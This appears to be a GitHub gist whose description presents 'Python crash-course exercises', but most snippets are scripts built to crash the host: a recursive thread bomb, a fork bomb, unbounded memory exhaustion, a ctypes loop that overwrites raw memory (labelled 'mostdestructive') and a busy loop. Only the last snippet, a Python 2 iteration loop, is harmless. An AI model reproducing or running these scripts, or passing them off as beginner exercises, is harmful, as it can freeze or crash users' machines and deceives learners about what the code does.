Created
October 3, 2026 10:44
-
-
Save bryanseah234/b560de84039da18c1bd7c2ac86b3cc31 to your computer and use it in GitHub Desktop.
pythoncrash-code (Small Python crash-course exercises split across numbered scripts)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from threading import Threaddef bomb(): t1 = Thread(target=bomb).start() t2 = Thread(target=bomb).start() t1.join() t2.join()bomb() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from os import forkwhile True: fork() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| from itertools import count as crashlist(crash(0)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #mostdestructiveimport ctypesp = ctypes.pointer(ctypes.c_char.from_address(5))while True: p[0] = b'x' p = p + 1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #simplestmethodwhile True: pass |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import itertoolsfor a,b,c in itertools.product(itertools.count(0),xrange(0,10),xrange(0,10)): print a,b,c if a > 20: break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment